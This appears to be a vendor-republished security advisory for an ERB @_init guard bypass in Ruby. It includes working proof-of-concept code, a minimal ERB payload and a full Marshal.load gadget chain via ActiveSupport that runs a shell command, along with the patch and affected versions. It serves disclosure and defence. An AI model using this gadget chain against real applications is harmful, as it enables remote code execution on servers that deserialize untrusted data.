GHSA-q339-8rmv-2mhv
HIGHGHSA-q339-8rmv-2mhv is a high-severity (CVSS 8.1) CWE-693 vulnerability in erb. O3 Security confirms whether GHSA-q339-8rmv-2mhv is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
ERB has an @_init deserialization guard bypass via def_module / def_method / def_class
Blast Radius
erb💎erb💎erb💎erbReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:
ERB#def_methodERB#def_moduleERB#def_class
An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.
The @_init Guard
In ERB#initialize, the guard is set:
# erb.rb line 838
@_init = self.class.singleton_class
In ERB#result and ERB#run, the guard is checked before eval(@src):
# erb.rb line 1008-1012
def result(b=new_toplevel)
unless @_init.equal?(self.class.singleton_class)
raise ArgumentError, "not initialized"
end
eval(@src, b, (@filename || '(erb)'), @lineno)
end
When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.
The Bypass
ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:
# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
mod.module_eval do
eval(src, binding, fname, -1) # <-- no @_init check
end
end
# erb.rb line 1113-1117
def def_module(methodname='erb') # <-- zero-arg call possible
mod = Module.new
def_method(mod, methodname, @filename || '(ERB)')
mod
end
# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result') # <-- zero-arg call possible
cls = Class.new(superklass)
def_method(cls, methodname, @filename || '(ERB)')
cls
end
def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.
Method wrapper breakout
def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:
# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
# def erb
# end
# system('id') <- executes at eval time
# def x
# end
Proof of Concept
Minimal (ERB only)
require 'erb'
erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
# ERB#result correctly blocks this:
begin
erb.result
rescue ArgumentError => e
puts "result: #{e.message} (blocked by @_init -- correct)"
end
# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)
Marshal deserialization (ERB + ActiveSupport)
When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:
require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'
# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
class DeprecatedInstanceVariableProxy
def initialize(h)
h.each { |k, v| instance_variable_set(k, v) }
end
end
end
erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
:@instance => erb,
:@method => :def_module,
:@var => "@x",
:@deprecator => Kernel
})
marshaled = Marshal.dump({proxy => 0})
# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)
# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)
Chain:
Marshal.loadreconstructs a Hash with aDeprecatedInstanceVariableProxyas key- Hash key insertion calls
.hashon the proxy .hashis undefined ->method_missing(:hash)-> dispatches toERB#def_moduledef_module->def_method->module_eval(eval(src))-> breakout ->system('id')
Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1
</details>Impact
Scope
Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:
- Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
- Ruby tools that import untrusted serialized data -- any tool using
Marshal.loadfor caching, data import, or IPC - Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization
Severity justification
The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.
This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.
<details>Gadget chain history
Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:
| Year | Chain | Mitigated in |
|---|---|---|
| 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 |
| 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 |
| 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 |
| 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches |
| 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 |
| 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |
Patches
The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.
- ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4
Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:
def def_method(mod, methodname, fname='(ERB)')
unless @_init.equal?(self.class.singleton_class)
raise ArgumentError, "not initialized"
end
src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
mod.module_eval do
eval(src, binding, fname, -1)
end
end
</details>
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | erb | all versions | 4.0.3.1 |
| 💎RubyGems | erb | ≥ 4.0.4&&< 4.0.4.1 | 4.0.4.1 |
| 💎RubyGems | erb | ≥ 5.0.0&&< 6.0.1.1 | 6.0.1.1 |
| 💎RubyGems | erb | ≥ 6.0.2&&< 6.0.4 | 6.0.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for erb. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update erb to 4.0.3.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q339-8rmv-2mhv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-q339-8rmv-2mhv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-q339-8rmv-2mhv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-q339-8rmv-2mhv in your dependencies?
O3 detects GHSA-q339-8rmv-2mhv across RubyGems dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.